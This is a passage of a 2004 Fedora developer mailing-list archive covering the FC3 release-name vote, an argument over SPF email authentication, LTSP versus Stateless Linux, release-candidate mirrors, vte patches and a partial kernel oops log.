j2solutions.net Wed Oct 27 15:15:08 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Wed, 27 Oct 2004 08:15:08 -0700 Subject: Fedora Core 3's name - your vote In-Reply-To: <20041027105933.51bed65b@nausicaa.camperquake.de> References: <200410262248.37557.remco@rvt.com> <20041027105933.51bed65b@nausicaa.camperquake.de> Message-ID: <200410270815.12971.jkeating@j2solutions.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 27 October 2004 01:59, Ralf Ertzinger wrote: > There was a time when the names of RH releases and test releases had > some connection to each other. Is this still the case? > Since the FC3test release had no name I'd be aware of, is there a way > from Tettnang to Uzhgorod? There is a connection from Tettnang -> uZhgOroD, so I've been told. But I was also told that if the connection was disclosed to me, my life would be ended. (; - -- Jesse Keating RHCE (http://geek.j2solutions.net) Fedora Legacy Team (http://www.fedoralegacy.org) GPG Public Key (http://geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBf7uA4v2HLvE71NURArazAJ9y3QFpZH6M0AB+76n2XD02Rj9FpwCfWgku SPa3/YmfLwQ9UMDgVBKOn5E= =JUJI -----END PGP SIGNATURE----- From dwmw2 at infradead.org Wed Oct 27 15:20:44 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Wed, 27 Oct 2004 16:20:44 +0100 Subject: warning to list In-Reply-To: <417EF153.1070308@mminternet.com> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> <1098776924.3872.185.camel@baythorne.infradead.org> <417EF153.1070308@mminternet.com> Message-ID: <1098890444.13633.1838.camel@hades.cambridge.redhat.com> On Tue, 2004-10-26 at 17:52 -0700, Z wrote: > David Woodhouse wrote > > >Right. SPF, if it's to work, requires the whole world to 'upgrade' to > >make the initial flawed assumptions of SPF come true. > > > Your opinion. More qualified people disagree. That wasn't an opinion. That was a statement of fact. My _opinion_ is that it isn't ever going to happen, and that it's not worth the pain of even trying when there are far better alternatives. Nobody with any real clue has claimed that SPF's assumptions are true in the real world today, and that strict SPF publishing and checking would not be throwing away real mail today. To pick a few examples, since you're obviously incapable of understanding the technical points without someone to lead you... Meng Weng Wong (the inventor of SPF in its current form) doesn't disagree: "if we expect it will take 1 to 3 years for the world to upgrade, maybe we can take 1 to 3 years to move from proposed standard to draft standard to standard." -- Meng Weng Wong The people who invented the 'Sender Rewriting Scheme' which needs to be deployed ubiquitously in order to make SPF work don't disagree: "In an SPF world, forwarders need to rewrite the return-path to stay in good standing." -- http://spf.pobox.com/srspng.html Even you yourself didn't seem to disagree on Monday when discussing the vast number of sites out there who have not yet 'upgraded' to SPF's Brave New World, and will probably never do so: Jeff Pitman wrote: > In other words, all forms of forwardin email address will be > down the toilet (sf.net, berlios.de, etc.). Only the ones people are not willing to fix, and breaking them is a good thing. Sean Middleditch didn't seem to disagree either when he said "No. You fix them" in response to the same mail from Jeff. The only people who do seem to disagree are the enthusiastic but dim people who jumped on the bandwagon because it seemed shiny, without really thinking about it. Also perhaps those who are actively and disingenuously avoiding the technical points on which they'll obviously lose any argument, and resorting to ad hominem 'arguments'. The other thing to recognise is that even if this SRS rewriting scheme, where each forwarding host 'takes responsibility' for the mail it's forwarding by rewriting the address, _does_ get deployed ubiquitously, it destroys the information which SPF was originally meant to check. Because any host can rewrite mail in such a way, and all you can actually tell from an SPF pass is how much you can trust the individual mail server which sent you the mail -- it has nothing to do with the address the mail seems to originally come from, and _certainly_ nothing to do with the address in the From: header. So after all this breakage, SPF hasn't even managed to do anything more than saner options like CSV. SPF is fundamentally flawed, and the IETF MARID working group was disbanded. On the other hand, the STRIVERS working group is still very much alive, developing the ideas around Yahoo's DomainKeys, Cisco's IIM, etc. They should come up with a combined solution which gives all the benefits purported by SPF without the breakage. That's what we should be supporting. But since you obviously don't like the technical side of the discussion (and given your complete lack of understanding, who can blame you for that?) I'll leave you with another quote: "When banks start DomainKeys or S/MIME signing all outbound mail, I promise to give up SPF and Sender ID." -- Meng Weng Wong. -- dwmw2 From dima at snaiper.no-ip.com Wed Oct 27 15:06:33 2004 From: dima at snaiper.no-ip.com (DemonGloom) Date: Wed, 27 Oct 2004 17:06:33 +0200 Subject: Rebuilding Fedora Message-ID: <1098889593.7959.11.camel@DemonLinux> > Hello > I would like to build the fedora 2 release for the actual P4 CPU instead of the i386 packages shipped with the normal iso images. > Is there a howto to automaticly build a new fedora release out of the srpm isos' > Thanks > Roland Kaeser > Systems Administrator I was written bash script for rebuild my fedora core distro. The principles of script is very easy: 1. Checks installed in my system packages for "demonlinux" hostname. You may set other search options, arch for example. 2. Extract source filename for each package and download from mirrors to rpm src folder. 3. Rebuild each downloaded src.rpm. If you want, i may send to you sources. -------------- next part -------------- An HTML attachment was scrubbed... URL: From dr at cluenet.de Wed Oct 27 15:50:14 2004 From: dr at cluenet.de (Daniel Roesen) Date: Wed, 27 Oct 2004 17:50:14 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: <200410270815.12971.jkeating@j2solutions.net> References: <200410262248.37557.remco@rvt.com> <20041027105933.51bed65b@nausicaa.camperquake.de> <200410270815.12971.jkeating@j2solutions.net> Message-ID: <20041027155014.GA16823@srv01.cluenet.de> On Wed, Oct 27, 2004 at 08:15:08AM -0700, Jesse Keating wrote: > There is a connection from Tettnang -> uZhgOroD, so I've been told. But I > was also told that if the connection was disclosed to me, my life would be > ended. (; Isn't that worth fighting for? Isn't that worth DYING for? :-) Best regards, Daniel -- CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 From adriano.galano at gmail.com Wed Oct 27 16:18:13 2004 From: adriano.galano at gmail.com (Adriano Galano) Date: Wed, 27 Oct 2004 18:18:13 +0200 Subject: LTSP or Stateless Linux Message-ID: <754f42e70410270918579a26e4@mail.gmail.com> Hello: Could sometbody tell me the differences between LTSP and Stateless Linux project? How they compares? In wich situations is more recomendable one type of the architecture or other? Best regrards, -Adriano -- Adriano M. (bryam) Galano D?ez In LiNUX and FLOSS since 1992 (R) From xose at wanadoo.es Wed Oct 27 16:29:23 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Wed, 27 Oct 2004 18:29:23 +0200 Subject: LTSP or Stateless Linux In-Reply-To: <754f42e70410270918579a26e4@mail.gmail.com> References: <754f42e70410270918579a26e4@mail.gmail.com> Message-ID: <417FCCE3.9080500@wanadoo.es> Adriano Galano wrote: > Hello: buenas, > Could sometbody tell me the differences between LTSP and Stateless > Linux project? How they compares? In wich situations is more > recomendable one type of the architecture or other? you can get detailed information from : http://people.redhat.com/~hp/stateless/StatelessLinux.pdf http://fedora.redhat.com/projects/stateless/ -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From sopwith at redhat.com Wed Oct 27 16:52:41 2004 From: sopwith at redhat.com (Elliot Lee) Date: Wed, 27 Oct 2004 12:52:41 -0400 (EDT) Subject: Why RCs on different locations? (was: FC3rc2 - please test) In-Reply-To: <20041027102102.GD31334@neu.nirvana> References: <20041027102102.GD31334@neu.nirvana> Message-ID: On Wed, 27 Oct 2004, Axel Thimm wrote: > On Tue, Oct 26, 2004 at 06:57:11PM -0400, Elliot Lee wrote: > > http://testing.fedora.redhat.com/tree/ > > > > Mirror at http://fedora.linux.duke.edu/FC3-rc/3/ > > why aren't RCs published on downloads.fedora.redhat.com which is > automatically mirrored by several locations world-wide? Because it currently takes a few days warning plus a day of lead time to make things available there. > And as aside note: what should bugs be filed against? Bugzilla has no > fc3rcN, in the current selection only "devel" would make sense. Filing them against test3 or against devel should both work. -- Elliot From sopwith at redhat.com Wed Oct 27 17:07:17 2004 From: sopwith at redhat.com (Elliot Lee) Date: Wed, 27 Oct 2004 13:07:17 -0400 (EDT) Subject: FC3rc2 - please test In-Reply-To: <417F8181.5070005@reality.it> References: <417F8181.5070005@reality.it> Message-ID: On Wed, 27 Oct 2004, Lorenzo Luconi Trombacchi wrote: > Could you release the DVD image too? Is easier and faster (at least for > me) to burn only one DVD image than 4 CDs. It is actually released and in the location you would expect it to be, but there are some web server issues that prevent it from being seen. I apologize - we'll try to make sure that this isn't a problem for the final release. -- Elliot From ndbecker2 at verizon.net Wed Oct 27 17:43:01 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Wed, 27 Oct 2004 13:43:01 -0400 Subject: LTSP or Stateless Linux References: <754f42e70410270918579a26e4@mail.gmail.com> <417FCCE3.9080500@wanadoo.es> Message-ID: Xose Vazquez Perez wrote: > Adriano Galano wrote: > >> Hello: > > buenas, > >> Could sometbody tell me the differences between LTSP and Stateless >> Linux project? How they compares? In wich situations is more >> recomendable one type of the architecture or other? > > you can get detailed information from : > http://people.redhat.com/~hp/stateless/StatelessLinux.pdf > http://fedora.redhat.com/projects/stateless/ > What version of FC3 will go with current Stateless cvs? Should current FC3 release candidate work with current stateless cvs? (Instructions say to use FC3T1). From kyrre at solution-forge.net Wed Oct 27 17:56:55 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 27 Oct 2004 19:56:55 +0200 Subject: What does anaconda know? In-Reply-To: <20041027142354.GA6724@redhat.com> References: <20041026165644.A32660@ryoko.camperquake.de> <1098804523.10884.16.camel@bree.local.net> <20041026193052.1a9271d5@nausicaa.camperquake.de> <1098812745.10884.21.camel@bree.local.net> <20041026182650.GD21197@redhat.com> <1098883152.2725.6.camel@kyrre> <20041027142354.GA6724@redhat.com> Message-ID: <1098899814.6882.0.camel@kyrre> i think ubuntu/debian has a package called "laptop-detect" ons, 27.10.2004 kl. 16.23 skrev Dave Jones: > On Wed, Oct 27, 2004 at 03:19:12PM +0200, Kyrre Ness Sjobak wrote: > > if pcmcia exists > > could be a pci card. > > > unautodetectable monitor > > could be desktop. a lot of old monitors > dont speak DDC. > > > bunch of ACPI stuff > > just testing for the presence of /proc/acpi/battery/BAT0 > will probably go a long way. This just leaves laptops > with broken ACPI (or no ACPI), which could be detected > with DMI strings. > > > and then give them weigths? 3/4 "laptop signs" => probably a laptop? > > sounds a little 'too clever' imo. The more complicated heuristics > become, the more fragile they seem to be in the real world. > > Dave From jonathansavage at gmail.com Wed Oct 27 18:05:47 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Wed, 27 Oct 2004 11:05:47 -0700 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <2ad7cea1041027110532abed1@mail.gmail.com> On Tue, 26 Oct 2004 17:32:18 -0400 (EDT), Elliot Lee wrote: > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod > Krosno gets my vote. Has a nice connection to Tettnang as well. -- Bests, Jon From gafton at redhat.com Wed Oct 27 18:19:34 2004 From: gafton at redhat.com (Cristian Gafton) Date: Wed, 27 Oct 2004 14:19:34 -0400 (EDT) Subject: FC3rc2 - please test In-Reply-To: <417F828A.4070506@carwyn.com> References: <417F828A.4070506@carwyn.com> Message-ID: On Wed, 27 Oct 2004, Carwyn Edwards wrote: > >http://testing.fedora.redhat.com/tree/ > > > >Mirror at http://fedora.linux.duke.edu/FC3-rc/3/ > > > >This tree seeks your loving attention in installation and testing. > > > Is there any particular reason that this tree lives in a different > location to the stable and development trees? (download.fedora.redhat.com) Yes, at least 2 reasons: a. download.fedora.redhat.com requires several days lead time to stage a new tree on, plus additional days time to let the mirrors pull down the bits. Pushing an RC tree to download.fedora would effectively create a *lot* of mirror traffic instead of making bits accessible immediately to those intersted. b. We're testing a new configuration for the backend stuff on testing.fedora.redhat.com and an RC tree looked like an ideal candidate. So, in essence, you're not only testing the software, you're also testing the new configuration for the infrastructure. I'm experimenting on y'all. Cristian -- ---------------------------------------------------------------------- Cristian Gafton -- gafton at redhat.com -- Red Hat, Inc. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Linux is a leprosy; and is having a deleterious effect on the U.S. IT industry because it is steadily depreciating the value of the software industry sector." -- Kenneth Brown, President, Alexis de Tocqueville Institution From kyrre at solution-forge.net Wed Oct 27 18:27:57 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 27 Oct 2004 20:27:57 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: <2ad7cea1041027110532abed1@mail.gmail.com> References: <2ad7cea1041027110532abed1@mail.gmail.com> Message-ID: <1098901676.6882.6.camel@kyrre> ons, 27.10.2004 kl. 20.05 skrev Jon Savage: > On Tue, 26 Oct 2004 17:32:18 -0400 (EDT), Elliot Lee wrote: > > It's time for the only really critical decision of the entire release: THE > > NAME. ;-) > > > > The candidates for your consideration: > > Krosno > > Heidelberg > > Uzhgorod > > > Krosno gets my vote. Has a nice connection to Tettnang as well. As being yet another completely ununderstandable, unrememberable name? > -- > Bests, > Jon From adriano.galano at gmail.com Wed Oct 27 19:30:30 2004 From: adriano.galano at gmail.com (Adriano Galano) Date: Wed, 27 Oct 2004 21:30:30 +0200 Subject: LTSP or Stateless Linux In-Reply-To: <417FCCE3.9080500@wanadoo.es> References: <754f42e70410270918579a26e4@mail.gmail.com> <417FCCE3.9080500@wanadoo.es> Message-ID: <754f42e704102712305ed06abf@mail.gmail.com> On Wed, 27 Oct 2004 18:29:23 +0200, Xose Vazquez Perez wrote: > Adriano Galano wrote: > > > Hello: > > buenas, > Hello Xose (Buenas ;-)): > > Could sometbody tell me the differences between LTSP and Stateless > > Linux project? How they compares? In wich situations is more > > recomendable one type of the architecture or other? > > you can get detailed information from : > http://people.redhat.com/~hp/stateless/StatelessLinux.pdf > http://fedora.redhat.com/projects/stateless/ > Yes I read it, thanks. But I have doubs about when apply LTSP or Stateless. What are the advantages of Stateless over LTSP deployment? best regards, -Adriano > -- > Hello, this is Darl McBride, and I pronounce Linux as UNIX. > > -- Adriano M. (bryam) Galano D?ez In LiNUX and FLOSS since 1992 (R) From louisg00 at bellsouth.net Wed Oct 27 19:56:41 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Wed, 27 Oct 2004 15:56:41 -0400 Subject: Trying to compile giFT Message-ID: <1098907001.25762.5.camel@tiger> Having problems with libtool. libgiftproto.so.* is not being built/installed. How to I run libtool is a spec file? --Louis From xose at wanadoo.es Wed Oct 27 20:13:37 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Wed, 27 Oct 2004 22:13:37 +0200 Subject: Regina and THE In-Reply-To: <20041026111857.GA6828@redhat.com> References: <417D30C1.8040600@wanadoo.es> <20041026111857.GA6828@redhat.com> Message-ID: <41800171.7040604@wanadoo.es> Karsten Hopp wrote: > THE is a text editor similar to xedit which runs on s390/s390x z/VM. > If you think vi's or emacs UI is cryptic, try out THE and you'll be happy with > vi (or emacs) again. We ship it as a convinience for the z/VM administrators > who are used to xedit, but you really don't want it if you're not one of them. I know, I work on z/OS everyday ;-) and also with zLinux. > I'm not sure about Regina, is anyone really interested in Rexx anymore ? There is people from mainframe, mainly, that finds rexx very useful. And there is _no_ reason to not build it over i386. > In the Linux world Perl and Python are way more common, there's no need to > learn another interpreter language. WRONG!! There is life beyond, as lua or ruby or ... Rexx. -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From johnp at redhat.com Wed Oct 27 20:16:03 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Wed, 27 Oct 2004 16:16:03 -0400 Subject: LTSP or Stateless Linux In-Reply-To: <754f42e704102712305ed06abf@mail.gmail.com> References: <754f42e70410270918579a26e4@mail.gmail.com> <417FCCE3.9080500@wanadoo.es> <754f42e704102712305ed06abf@mail.gmail.com> Message-ID: <1098908163.4697.36.camel@remedyz.boston.redhat.com> On Wed, 2004-10-27 at 21:30 +0200, Adriano Galano wrote: > On Wed, 27 Oct 2004 18:29:23 +0200, Xose Vazquez Perez wrote: > > Adriano Galano wrote: > > > > > Hello: > > > > buenas, > > > Hello Xose (Buenas ;-)): > > > > Could sometbody tell me the differences between LTSP and Stateless > > > Linux project? How they compares? In wich situations is more > > > recomendable one type of the architecture or other? > > > > you can get detailed information from : > > http://people.redhat.com/~hp/stateless/StatelessLinux.pdf > > http://fedora.redhat.com/projects/stateless/ > > > > Yes I read it, thanks. But I have doubs about when apply LTSP or Stateless. > What are the advantages of Stateless over LTSP deployment? A simple distinction is that with LTSP the computer is just a dumb terminal displaying programs being run on a more powerful server. Stateless installs the OS image on the client where the programs are run. This allows a person to detach the computer from the network and still have it be usable. When he/she plugs back in the user's changes are synced back to the server. It is Stateless because root setting are never changed. A user can go to another computer, log in and come up with the same desktop they had. You can do cool things like upgrade to the latest hardware simply by plugging it into the network and booting up with a stateless Linux image. It basically gives the benefits of central management of OS images that LTSP gives while still retaining the benefits of programs running directly on users hardware. So it is the best of both thin and fat client technologies. Of course there are drawbacks such as need for powerful hardware at the client and bigger disks but with hardware prices dropping so much that is not as much of a concern. Also Stateless Linux is much more than a project. It is a whole mentality on how Fedora is now developed. For instance a lot of the configurations tools for things like printers and network are being designed so they do not require root state. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From rdieter at math.unl.edu Wed Oct 27 20:16:23 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 27 Oct 2004 15:16:23 -0500 (CDT) Subject: Trying to compile giFT In-Reply-To: <1098907001.25762.5.camel@tiger> References: <1098907001.25762.5.camel@tiger> Message-ID: On Wed, 27 Oct 2004, Louis Garcia wrote: > Having problems with libtool. libgiftproto.so.* is not being > built/installed. How to I run libtool is a spec file? FYI, http://bugzilla.livna.org/show_bug.cgi?id=230 The latest version, 0.11.7 won't build on a stand-alone system (ie, it assumes some of the libraries it's just built are installed already) I was about to submit this build bug upstream. -- Rex From rdieter at math.unl.edu Wed Oct 27 20:23:26 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 27 Oct 2004 15:23:26 -0500 Subject: Trying to compile giFT In-Reply-To: References: <1098907001.25762.5.camel@tiger> Message-ID: <418003BE.9010000@math.unl.edu> Rex Dieter wrote: > On Wed, 27 Oct 2004, Louis Garcia wrote: > >> Having problems with libtool. libgiftproto.so.* is not being >> built/installed. How to I run libtool is a spec file? > > > FYI, > http://bugzilla.livna.org/show_bug.cgi?id=230 > > The latest version, 0.11.7 won't build on a stand-alone system (ie, it > assumes some of the libraries it's just built are installed already) > > I was about to submit this build bug upstream. Never mind about the build issue I mentioned... I can't duplicate it now. Move along... nothing to see here. (-: -- Rex From hp at redhat.com Wed Oct 27 20:27:42 2004 From: hp at redhat.com (Havoc Pennington) Date: Wed, 27 Oct 2004 16:27:42 -0400 Subject: LTSP or Stateless Linux In-Reply-To: <1098908163.4697.36.camel@remedyz.boston.redhat.com> References: <754f42e70410270918579a26e4@mail.gmail.com> <417FCCE3.9080500@wanadoo.es> <754f42e704102712305ed06abf@mail.gmail.com> <1098908163.4697.36.camel@remedyz.boston.redhat.com> Message-ID: <1098908863.14494.31.camel@localhost.localdomain> On Wed, 2004-10-27 at 16:16 -0400, John (J5) Palmieri wrote: > A simple distinction is that with LTSP the computer is just a dumb > terminal displaying programs being run on a more powerful server. > Stateless installs the OS image on the client where the programs are > run. This allows a person to detach the computer from the network and > still have it be usable. Don't confuse the "cached client" mode with stateless linux in general. The idea is that we treat an NFS root filesystem with only an X server installed (similar to LTSP) in the same framework as an NFS root filesystem with a full set of apps installed, or the cached client mode, or a live CD mode. The definition I would give of stateless linux in general is "sharing the same OS instance between multiple machines" (which implies the OS instance is read-only, and contains no per-machine state - those are the things that require OS changes) Havoc From jerone at gmail.com Wed Oct 27 20:33:01 2004 From: jerone at gmail.com (Jerone Young) Date: Wed, 27 Oct 2004 15:33:01 -0500 Subject: Fedora Core 3's name - your vote In-Reply-To: <1098901676.6882.6.camel@kyrre> References: <2ad7cea1041027110532abed1@mail.gmail.com> <1098901676.6882.6.camel@kyrre> Message-ID: <9f50a7a00410271333cd050b9@mail.gmail.com> Krosno gets my vote. On Wed, 27 Oct 2004 20:27:57 +0200, Kyrre Ness Sjobak wrote: > ons, 27.10.2004 kl. 20.05 skrev Jon Savage: > > On Tue, 26 Oct 2004 17:32:18 -0400 (EDT), Elliot Lee wrote: > > > It's time for the only really critical decision of the entire release: THE > > > NAME. ;-) > > > > > > The candidates for your consideration: > > > Krosno > > > Heidelberg > > > Uzhgorod > > > > > Krosno gets my vote. Has a nice connection to Tettnang as well. > > As being yet another completely ununderstandable, unrememberable name? > > > > -- > > Bests, > > Jon > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From sking4 at cinci.rr.com Wed Oct 27 22:08:42 2004 From: sking4 at cinci.rr.com (Salane KIng) Date: Wed, 27 Oct 2004 18:08:42 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: <9f50a7a00410271333cd050b9@mail.gmail.com> References: <1098901676.6882.6.camel@kyrre> <9f50a7a00410271333cd050b9@mail.gmail.com> Message-ID: <200410271808.42242@x-face> On Wednesday 27 October 2004 16:33, Jerone Young wrote: > Krosno gets my vote. > > > On Wed, 27 Oct 2004 20:27:57 +0200, Kyrre Ness Sjobak > > wrote: > > ons, 27.10.2004 kl. 20.05 skrev Jon Savage: > > > On Tue, 26 Oct 2004 17:32:18 -0400 (EDT), Elliot Lee wrote: > > > > It's time for the only really critical decision of the entire > > > > release: THE NAME. ;-) > > > > > > > > The candidates for your consideration: > > > > Krosno > > > > Heidelberg > > > > Uzhgorod > > > > > > Krosno gets my vote. Has a nice connection to Tettnang as well. > > > > As being yet another completely ununderstandable, unrememberable name? > > > > > -- > > > Bests, > > > Jon > > > > -- > > fedora-devel-list mailing list > > fedora-devel-list at redhat.com > > http://www.redhat.com/mailman/listinfo/fedora-devel-list Here is a list of Hop varieties Mt Hood, Magnum, Galena, Cascade, chinook, WILLAMETTE, STRISSELSPALT, EROICA, nuggett, perle, STICKLEBRACT, CLUSTER, PROGRESS, saaz, centenial I really like Erotica. 2nd choise is Magnum From robn at verdi.et.tudelft.nl Wed Oct 27 23:45:31 2004 From: robn at verdi.et.tudelft.nl (Rob van Nieuwkerk) Date: Thu, 28 Oct 2004 01:45:31 +0200 Subject: FC3rc2 - please test In-Reply-To: References: <417F8181.5070005@reality.it> Message-ID: <20041028014531.1f91fe4a.robn@verdi.et.tudelft.nl> On Wed, 27 Oct 2004 13:07:17 -0400 (EDT) Elliot Lee wrote: Hi Elliot, > On Wed, 27 Oct 2004, Lorenzo Luconi Trombacchi wrote: > > > Could you release the DVD image too? Is easier and faster (at least for > > me) to burn only one DVD image than 4 CDs. > > It is actually released and in the location you would expect it to be, but > there are some web server issues that prevent it from being seen. I > apologize - we'll try to make sure that this isn't a problem for the final > release. FYI: I had some discussions about apache >2GB problems on the fedora/redhat mirror list. Someone claimed that he had apache working fine with >2GB files. I just tested the new >2GB capable FC2 wget update against his server and it worked OK indeed. Here's part of the discussion: +---------------------------------------------------------------- | On Thu, 21 Oct 2004 23:33:39 +0100 | Colm MacCarthaigh wrote: | | Hi Colm, | | > On Fri, Oct 22, 2004 at 12:19:11AM +0200, Rob van Nieuwkerk wrote: | > > BTW: If so, can you point me to an apache serving DVD isos via http ? | > | > ftp.heanet.ie :) For example: | > | > http://ftp.heanet.ie/pub/fedora/linux/core/2/i386/iso/FC2-i386-DVD.iso | | OK, thanx, I'll use it for my wget http >2GB testing. | | > The secret magic is at: | > | > http://www.apache.org/~jorton/ap_splitlfs.diff | | OK, it's not in any released apache yet apparently. | But good to see that the issue is taken care of. | | > And the only HTTP client that has decent largefile support for me is | > curl (I'm using 7.12.1). | | And wget-1.9.1-17 in fedora development is supposed to be OK now too. | Please test if you have time. The idea is to have an FC2 wget update | released before FC3 happens, so that less people will get hurt by >2GB | issues. See: | | https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=123524 | | for more info and reporting test results. | | Rob van Nieuwkerk +---------------------------------------------------------------- (yes I know that you can re-route the >2G files via ftp transfers in your apache config, but it would be nice if apache did not have this problem in the future. I don't use any apache on my mirror btw: just vsftpd .. :-) greetings, Rob van Nieuwkerk From mkearey at redhat.com Thu Oct 28 00:47:10 2004 From: mkearey at redhat.com (Michael Kearey) Date: Thu, 28 Oct 2004 10:47:10 +1000 Subject: Services and scripts at boot time In-Reply-To: <1098885510.2725.21.camel@kyrre> References: <417F9F48.4010604@reality.it> <1098885510.2725.21.camel@kyrre> Message-ID: <4180418E.4080800@redhat.com> Kyrre Ness Sjobak wrote: > ons, 27.10.2004 kl. 15.14 skrev Lorenzo Luconi Trombacchi: > >>Why these scripts/services are default executed/activated at boot time >>after Core installation? > >>- rhnsd: Fedora Core users use RHN for manage/update packages? > > Kill, kill, kill! The rhnsd daemon does not actually start AFAIK. See if there is a daemon running ? ps ax |grep rhnsd shows nothing on my Fedora Core 2 system. Looking at the init.d script for rhnsd /etc/init.d/rhnsd , look for '# Sanity Checks'. You will see that if rhnsd is not found or /etc/sysconfig/rhn/systemid is not found the rhnsd init script silently excites. Surely that's nothing to kill over ;) Cheers, Michael From jon.nettleton at gmail.com Thu Oct 28 00:48:33 2004 From: jon.nettleton at gmail.com (Jon Nettleton) Date: Wed, 27 Oct 2004 20:48:33 -0400 Subject: any chances for some last minute vte changes, or atleast something to consider Message-ID: We have all dealt with the good, the bad, and the ugly of gnome-terminal/vte. Don't get me wrong, it has been my terminal of choice as long as I have run redhat/fedora. The speed output has always been an issue for me, but it wasn't until recently that the tabbed redraw problem became apparent to me. I always switch my terminal to a black background with grey fonts, so it wasn't until I started rolling my customized fedora core 2 desktop out to my coworkers that the multi-tab black background bug was ever a factor. The speed issue was addresed in the patch attached to this bugzilla, https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132770 , which I have found fantastic. Without the mad skills of this excellent programmer I addressed the lesser of the two evils, the tabbed black background bug. My debugging led to a less elegant, but harmless and effective solution with a patch attached to this bug, https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=100420 . Between the two patches I now have a gnome-terminal that just works how I want it, and how I assume everyone would like it to. These have been nagging bugs for quite some time. I know getting changes into vte at the gnome level has been slow, any chance of use addressing the issues at a distribution level? -Jon From kewley at cns.caltech.edu Thu Oct 28 02:24:30 2004 From: kewley at cns.caltech.edu (David Kewley) Date: Wed, 27 Oct 2004 19:24:30 -0700 Subject: FC2 kernel oops, panic Message-ID: <200410271924.30814.kewley@cns.caltech.edu> A machine I managed crashed today. The console (25 lines) indicated a kernel fault in an interrupt handler. After reboot, two pre-crash kernel oopses were in the log (see attached). The commonality between the two seems to be a spin_lock being already locked in mm/slab.c. The oops times were 10:43 and 11:01; the machine crashed somewhere between 11:01 and 11:10 judging by /var/log/cron (how can I get a more accurate time of crash?). This machine is running FC2 kernel 2.6.8-1.521 #1 Mon Aug 16 09:01:18 EDT 2004 i686 i686 i386. The machine had been up for about two weeks (when it was first put in service with this OS installation), and there was no apparent unusual activity on it today. It's an NFS fileserver. Any ideas? Is this likely a problem in the kernel, or with my hardware? Thanks, David -------------- next part -------------- Oct 27 10:43:12 powraid kernel: Unable to handle kernel paging request at virtual address 00020004 Oct 27 10:43:12 powraid kernel: printing eip: Oct 27 10:43:12 powraid kernel: 02146bc4 Oct 27 10:43:12 powraid kernel: *pde = 00000000 Oct 27 10:43:12 powraid kernel: Oops: 0002 [#1] Oct 27 10:43:12 powraid kernel: Modules linked in: nfs nfsd exportfs lockd md5 ipv6 autofs4 sunrpc tulip 8139too mii floppy sg microcode xfs ohci_hcd ehci_hcd button battery asus_acpi ac ext3 jbd dm_mod mptscsih mptbase sd_mod scsi_mod Oct 27 10:43:12 powraid kernel: CPU: 0 Oct 27 10:43:12 powraid kernel: EIP: 0060:[<02146bc4>] Not tainted Oct 27 10:43:12 powraid kernel: EFLAGS: 00010006 (2.6.8-1.521) Oct 27 10:43:12 powraid kernel: EIP is at free_block+0x3a/0xbb Oct 27 10:43:12 powraid kernel: eax: 00020000 ebx: 0204b000 ecx: 0204b080 edx: 05f9d080 Oct 27 10:43:12 powraid kernel: esi: 0f754a80 edi: 0000001b ebp: 00000017 esp: 0c8fbacc Oct 27 10:43:12 powraid kernel: ds: 007b es: 007b ss: 0068 Oct 27 10:43:12 powraid kernel: Process nfsd (pid: 2006, threadinfo=0c8fb000 task=0c928cd0) Oct 27 10:43:12 powraid kernel: Stack: 0eaad090 0f754a80 0eaad090 0edac680 0f363d60 02146d1d 0000001b 0eaad080 Oct 27 10:43:12 powraid kernel: 0eaad080 0eaad090 0edac680 00000206 02147143 0edac6b4 0c8fbb34 00000008 Oct 27 10:43:12 powraid kernel: 00000000 0217e596 0edac6b4 0217e949 05f9d734 0000000a 02348c20 0217f079 Oct 27 10:43:12 powraid kernel: Call Trace: Oct 27 10:43:12 powraid kernel: [<02146d1d>] cache_flusharray+0xd8/0x15a Oct 27 10:43:12 powraid kernel: [<02147143>] kmem_cache_free+0x21/0x2f Oct 27 10:43:12 powraid kernel: [<0217e596>] destroy_inode+0x36/0x45 Oct 27 10:43:12 powraid kernel: [<0217e949>] dispose_list+0x4e/0x160 Oct 27 10:43:12 powraid kernel: [<0217f079>] prune_icache+0x366/0x3a3 Oct 27 10:43:12 powraid kernel: [<0217f0c3>] shrink_icache_memory+0xd/0x24 Oct 27 10:43:12 powraid kernel: [<0214957b>] shrink_slab+0xf9/0x15c Oct 27 10:43:12 powraid kernel: [<0214abf5>] try_to_free_pages+0xa9/0x14e Oct 27 10:43:12 powraid kernel: [<021422af>] 